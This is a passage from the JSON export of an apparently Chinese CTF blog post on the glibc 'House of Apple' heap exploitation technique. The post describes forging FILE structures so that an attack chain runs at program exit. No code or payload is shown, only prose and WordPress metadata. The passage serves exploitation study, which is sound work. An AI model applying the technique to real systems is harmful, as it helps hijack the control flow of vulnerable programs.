rdx\uff0c[rdi+8]\u90a3\u91cc\u6070\u597d\u662f\u6211\u4eec\u4f2a\u9020\u7684size\u4f4d\uff0c\u8fd9\u91cc\u53c8\u662f\u4e0d\u80fd\u4e71\u6539\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u80fd\u5728\u4f2a\u9020\u4e00\u4e2af2\uff0c\u8ba9f1\u6a21\u62df\u6b63\u5e38\u8c03\u7528_IO_file_jumps\u91cc\u7684overflow\u51fd\u6570\uff0c\u8bbe\u7f6e\u597dchain\uff0c\u5728f2\u8c03\u7528apple2\u7684\u653b\u51fb\u94fe\uff0c\u5177\u4f53\u53ef\u89c1\u4e0b\u56fe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-55.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"986\" height=\"939\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-55.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-290\" style=\"width:840px;height:auto\"  sizes=\"(max-width: 986px) 100vw, 986px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u7ec8\u7a0b\u5e8f\u9000\u51fa\u65f6\u5c31\u4f1a\u5148\u6b63\u5e38\u5237\u65b0\u4f2a\u9020\u7684f1\uff0c\u5230\u4e86f2\u5c31\u4f1a\u8c03\u7528apple2\u91cc\u7684\u653b\u51fb\u94fe<\/p>\n","protected":false},"excerpt":{"rendered":"<p>house of apple1 apple1\u67094\u79cd\u6253\u6cd5\uff0c\u6211\u76ee\u524d\u53ea\u5b66\u4e86\u4e00\u79cd\uff0c\u8be5\u65b9\u6cd5\u7684\u524d\u7f6e\u77e5\u8bc6\u4e3alargebin  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[34],"class_list":["post-238","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-house-of-apple"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=238"}],"version-history":[{"count":7,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions"}],"predecessor-version":[{"id":291,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/238\/revisions\/291"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=238"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}